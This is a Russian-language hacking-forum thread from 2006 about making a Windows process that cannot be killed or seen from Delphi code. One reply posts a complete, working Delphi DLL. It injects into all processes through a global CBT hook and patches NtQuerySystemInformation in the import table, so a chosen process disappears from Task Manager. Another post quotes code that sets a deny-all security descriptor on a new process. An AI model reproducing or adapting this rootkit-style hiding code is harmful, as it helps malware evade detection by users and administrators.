ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Как создать неубиваемый процесс
  #1  
Старый 13.11.2006, 09:37
Аватар для EST a1ien
EST a1ien
Участник форума
Регистрация: 02.04.2006
Сообщений: 273
Провел на форуме:
1269624

Репутация: 114
Отправить сообщение для EST a1ien с помощью ICQ
Question Как создать неубиваемый процесс

Народ подскажите как создать неубиваемый процесс? Если я не ошибаюсь то делается это при помощт функции CreateProcess только какие параметры ей надо передать для того чтобы его нельзя было убить из диспетчера задач.

И сразу вопрос в догонку. Если я создам такой процесс смогу ли я получить доступ к нему из той программы при помощи которой я его запустил с помощью функций ReadProcessMemory/WriteProcessMemory ?

ps: Код желатьльно на Delphi

Последний раз редактировалось EST a1ien; 13.11.2006 в 09:41..
 
Ответить с цитированием

  #2  
Старый 13.11.2006, 10:47
Аватар для AHTOLLlKA
AHTOLLlKA
Участник форума
Регистрация: 01.02.2005
Сообщений: 233
Провел на форуме:
748321

Репутация: 112
Отправить сообщение для AHTOLLlKA с помощью ICQ
По умолчанию

чето мне кажеца ты чувак гонишь)))
может просто создать скрытый процес, и не так палева и не че завершать то будет))
вот пример из статьи мс-рема
http://wasm.ru/pub/21/files/ring0.rar
 
Ответить с цитированием

  #3  
Старый 13.11.2006, 10:57
Аватар для Ch3ck
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

_http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
 
Ответить с цитированием

  #4  
Старый 13.11.2006, 10:57
Аватар для EST a1ien
EST a1ien
Участник форума
Регистрация: 02.04.2006
Сообщений: 273
Провел на форуме:
1269624

Репутация: 114
Отправить сообщение для EST a1ien с помощью ICQ
По умолчанию

Цитата:
чето мне кажеца ты чувак гонишь)))
может просто создать скрытый процес, и не так палева и не че завершать то будет))
вот пример из статьи мс-рема
http://wasm.ru/pub/21/files/ring0.rar
Ты хоть понял что та прога делает а?
если нет то ненадо блистять гениальностью!!!
Могбы ставить минусы влепил бы ейбогу.

Цитата:
http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
Если чесно тоя это прочитал почти сразу после того как запостил сообщение только для меня осталось непонятным как это работает а точнеевот эта часть почему так

Цитата:
if not initializeacl(acl,sizeof(_acl),acl_revision)
then showmessage('initializeacl'+#13#10+syserrormessage (getlasterror));

// Проверяем acl на корректность (не обязательно)
if not isvalidacl(acl) then exit;

// Инициализация структуры sd (security descriptor)
// После инициализации sd будет разрешать доступ к объекту для всех
if not initializesecuritydescriptor(@sd,security_descriptor_revision)
then showmessage('initializesecuritydescriptor'+#13#10+syserrormessage(getlasterror));

// Добавляем к описателю безопасности наш acl
// Теперь sd запрещает доступ всем
if not setsecuritydescriptordacl(@sd,true,@acl,true)
then showmessage('setsecuritydescriptordacl'+#13#10+syserrormessage(getlasterror));

// Опять проверка на корректность структуры
if not isvalidsecuritydescriptor(@sd) then exit;

// Заполняем структуру sa (security attributes)
zeromemory(@sa,sizeof(sa));
sa.nlength:=sizeof(sa);
sa.binherithandle:=false;
// Ссылка на наш дескриптор безопасности
sa.lpsecuritydescriptor:=@sd;

// Ну и наконец, создаем новый процесс с новыми атрибутами безопасности
zeromemory(@si,sizeof(si));
si.cb:=sizeof(si);

Последний раз редактировалось EST a1ien; 13.11.2006 в 11:08..
 
Ответить с цитированием

  #5  
Старый 13.11.2006, 11:08
Аватар для Brun
Brun
Участник форума
Регистрация: 21.03.2006
Сообщений: 117
Провел на форуме:
629074

Репутация: 137
Отправить сообщение для Brun с помощью ICQ
По умолчанию

Листинг hide.dpr
Код:
library hide;

uses
 Windows,
 SysUtils,
 ImageHlp,
 TlHelp32;

type SYSTEM_INFORMATION_CLASS = (
 SystemBasicInformation,
 SystemProcessorInformation,
 SystemPerformanceInformation,
 SystemTimeOfDayInformation,
 SystemNotImplemented1,
 SystemProcessesAndThreadsInformation,
 SystemCallCounts,
 SystemConfigurationInformation,
 SystemProcessorTimes,
 SystemGlobalFlag,
 SystemNotImplemented2,
 SystemModuleInformation,
 SystemLockInformation,
 SystemNotImplemented3,
 SystemNotImplemented4,
 SystemNotImplemented5,
 SystemHandleInformation,
 SystemObjectInformation,
 SystemPagefileInformation,
 SystemInstructionEmulationCounts,
 SystemInvalidInfoClass1,
 SystemCacheInformation,
 SystemPoolTagInformation,
 SystemProcessorStatistics,
 SystemDpcInformation,
 SystemNotImplemented6,
 SystemLoadImage,
 SystemUnloadImage,
 SystemTimeAdjustment,
 SystemNotImplemented7,
 SystemNotImplemented8,
 SystemNotImplemented9,
 SystemCrashDumpInformation,
 SystemExceptionInformation,
 SystemCrashDumpStateInformation,
 SystemKernelDebuggerInformation,
 SystemContextSwitchInformation,
 SystemRegistryQuotaInformation,
 SystemLoadAndCallImage,
 SystemPrioritySeparation,
 SystemNotImplemented10,
 SystemNotImplemented11,
 SystemInvalidInfoClass2,
 SystemInvalidInfoClass3,
 SystemTimeZoneInformation,
 SystemLookasideInformation,
 SystemSetTimeSlipEvent,
 SystemCreateSession,
 SystemDeleteSession,
 SystemInvalidInfoClass4,
 SystemRangeStartInformation,
 SystemVerifierInformation,
 SystemAddVerifier,
 SystemSessionProcessesInformation
);

_IMAGE_IMPORT_DESCRIPTOR = packed record
  case Integer of
   0:(
    Characteristics: DWORD);
   1:(
    OriginalFirstThunk:DWORD;
    TimeDateStamp:DWORD;
    ForwarderChain: DWORD;
    Name: DWORD;
    FirstThunk: DWORD);
   end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;

PFARPROC=^FARPROC;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var     ulSize: ULONG;
   pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
    pszModName: PChar;
        pThunk: PDWORD; ppfn:PFARPROC;
        ffound: LongBool;
       written: DWORD;
begin
 pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  if pImportDesc = nil then exit;
  while pImportDesc.Name<>0 do
   begin
    pszModName := PChar(hmodCaller + pImportDesc.Name);
     if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
    Inc(pImportDesc);
   end;
  if (pImportDesc.Name = 0) then exit;
 pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^<>0 do
   begin
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent);
     if (fFound) then
      begin
       VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXECUTE_READWRITE,written);
       WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
       exit;
      end;
    Inc(pThunk);
   end;
end;

var
 addr_NtQuerySystemInformation: Pointer;
 mypid: DWORD;
 fname: PCHAR;
 mapaddr: PDWORD;
 hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
 SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
 push ReturnLength
 push SystemInformationLength
 push SystemInformation
 push dword ptr SystemInformationClass
 call dword ptr [addr_NtQuerySystemInformation]
 or eax,eax
 jl quit
 cmp SystemInformationClass, SystemProcessesAndThreadsInformation
 jne quit

 onceagain:
 mov esi, SystemInformation

 getnextpidstruct:
 mov ebx, esi
 cmp dword ptr [esi],0
 je quit
 add esi, [esi]
 mov ecx, [esi+44h]
 cmp ecx, mypid
 jne getnextpidstruct
 mov edx, [esi]
 test edx, edx
 je fillzero
 add [ebx], edx
 jmp onceagain

 fillzero:
 and [ebx], edx
 jmp onceagain

 quit:
 mov Result, eax
end

procedure InterceptFunctions;
var hSnapShot: THandle;
         me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
 hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
   try
    ZeroMemory(@me32,sizeof(MODULEENTRY32));
    me32.dwSize:=sizeof(MODULEENTRY32);
    Module32First(hSnapShot,me32);
     repeat
      ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySystemInformation,@MyNtQuerySystemInfo,me32.hModule);
     until not Module32Next(hSnapShot,me32);
   finally
    CloseHandle(hSnapShot);
   end;
end;

procedure UninterceptFunctions;
var hSnapShot: THandle;
         me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation:=GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
 hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMODULE,GetCurrentProcessId);
  if hSnapshot=INVALID_HANDLE_VALUE then exit;
  try
   ZeroMemory(@me32,sizeof(MODULEENTRY32));
   me32.dwSize:=sizeof(MODULEENTRY32);
   Module32First(hSnapShot,me32);
    repeat
     ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySystemInfo,addr_NtQuerySystemInformation,me32.hModule);
    until not Module32Next(hSnapShot,me32);
  finally
   CloseHandle(hSnapShot);
  end;
end;


var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
 Result:=0;
end;

procedure InstallHook; stdcall;
begin
 HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
       ptr2: PBOOL;
begin
 mypid:=0;
 result:=false;
 hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,8,'NtHideFileMapping');
  if hFirstMapHandle=0 then exit;
 addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WRITE,0,0,8);
  if addrMap=nil then
   begin
    CloseHandle(hFirstMapHandle);
    exit;
   end;
 addrMap^:=pid;
 ptr2:=PBOOL(DWORD(addrMap)+4);
 ptr2^:=HideOnlyFromTaskManager;
 UnmapViewOfFile(addrMap);
 InstallHook;
 result:=true;
end;

exports
 HideProcess;

var
 hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
 if Reason = DLL_PROCESS_DETACH then
  if mypid > 0 then
   UninterceptFunctions()
 else
  CloseHandle(hFirstMapHandle);
end;

begin
 hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideFileMapping');
  if hmap=0 then exit;
  try
   mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
    if mapaddr=nil then exit;
   mypid:=mapaddr^;
   hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
    if hideOnlyTaskMan^ then
     begin
      fname:=allocMem(MAX_PATH+1);
      GetModuleFileName(GetModuleHandle(nil),fname,MAX_PATH+1);
       if not (ExtractFileName(fname)='taskmgr.exe') then exit;
     end;
   InterceptFunctions;
  finally
   UnmapViewOfFile(mapaddr);
   CloseHandle(Hmap);
   DLLProc:=@LibraryProc;
  end;
end.

Прописываем
Код:
implementation
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external 'hide.dll';
Прописываем в ОнШов например :
Код:
HideProcess(GetCurrentProcessId, false);
Жмём Alt+Ctrl+Del, а нас там нет :-)
 
Ответить с цитированием

  #6  
Старый 13.11.2006, 11:12
Аватар для AHTOLLlKA
AHTOLLlKA
Участник форума
Регистрация: 01.02.2005
Сообщений: 233
Провел на форуме:
748321

Репутация: 112
Отправить сообщение для AHTOLLlKA с помощью ICQ
По умолчанию

ты сам видать не смотрел пример....
а насчет минусов, умный.. хех, лепи если сумеешь, мне фиалетово
 
Ответить с цитированием

  #7  
Старый 13.11.2006, 11:14
Аватар для TaNkist
TaNkist
Участник форума
Регистрация: 06.04.2006
Сообщений: 257
Провел на форуме:
367179

Репутация: 76
По умолчанию

Можно перехватывать функции для работы с процесами (желательно на уровне ядра) и никому не давать себя убить. Так, например, делает Касперский.
Про перехват функций в ring0 стоит прочитать на wasm'е
 
Ответить с цитированием

  #8  
Старый 13.11.2006, 11:23
Аватар для EST a1ien
EST a1ien
Участник форума
Регистрация: 02.04.2006
Сообщений: 273
Провел на форуме:
1269624

Репутация: 114
Отправить сообщение для EST a1ien с помощью ICQ
По умолчанию

Цитата:
Можно перехватывать функции для работы с процесами (желательно на уровне ядра) и никому не давать себя убить.
Давайте вобще свой антивирь напишим чё мелочится а?
Из-за того чтобы сделать просто неубиваемые процес мы полезем в 0 кольцо(верх гениальности)

Ладно с процесом коекак разобрались хотя неплохобы бало сделать чтото типа
_http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
Только хотелось бы узнать как вобще эта штука работает?
А что насчёт ReadProcessMemory/WriteProcessMemory ?
Можно ли будет их использовать если сделать как вот сдесь _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes ?
(Хотелось бы)
 
Ответить с цитированием

  #9  
Старый 13.11.2006, 13:23
Аватар для TaNkist
TaNkist
Участник форума
Регистрация: 06.04.2006
Сообщений: 257
Провел на форуме:
367179

Репутация: 76
По умолчанию

Цитата:
Из-за того чтобы сделать просто неубиваемые процес мы полезем в 0 кольцо(верх гениальности)
Если ты знаешь способ создать дейтсвительно неубиваемый процесс (способ описанный в статье _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes можно убить получив dubuge привелегии) из user mode поделись пожалуйста.
 
Ответить с цитированием

  #10  
Старый 13.11.2006, 13:40
Аватар для TaNkist
TaNkist
Участник форума
Регистрация: 06.04.2006
Сообщений: 257
Провел на форуме:
367179

Репутация: 76
По умолчанию

Цитата:
Только хотелось бы узнать как вобще эта штука работает?
Для каждого объекта ОС создает дескриптор безопастности, по которому определяет права доступа к нему. Очевидно, что в данном примере создается пустой дескриптор, и владельцем объекта становится создатель
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Немного о криптографии. \/\/hite Статьи 2 17.01.2010 20:08
как создать смс копилку. Dim-ka Болталка 2 19.08.2006 11:17
Многопоточность в Unix KEZ С/С++, C#, Delphi, .NET, Asm 11 10.08.2005 18:29
Как создать свой сайт amneto Болталка 4 13.02.2005 14:04
Как использовать cross-site scripting (css) foreva Чужие Статьи 0 06.02.2005 19:03



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ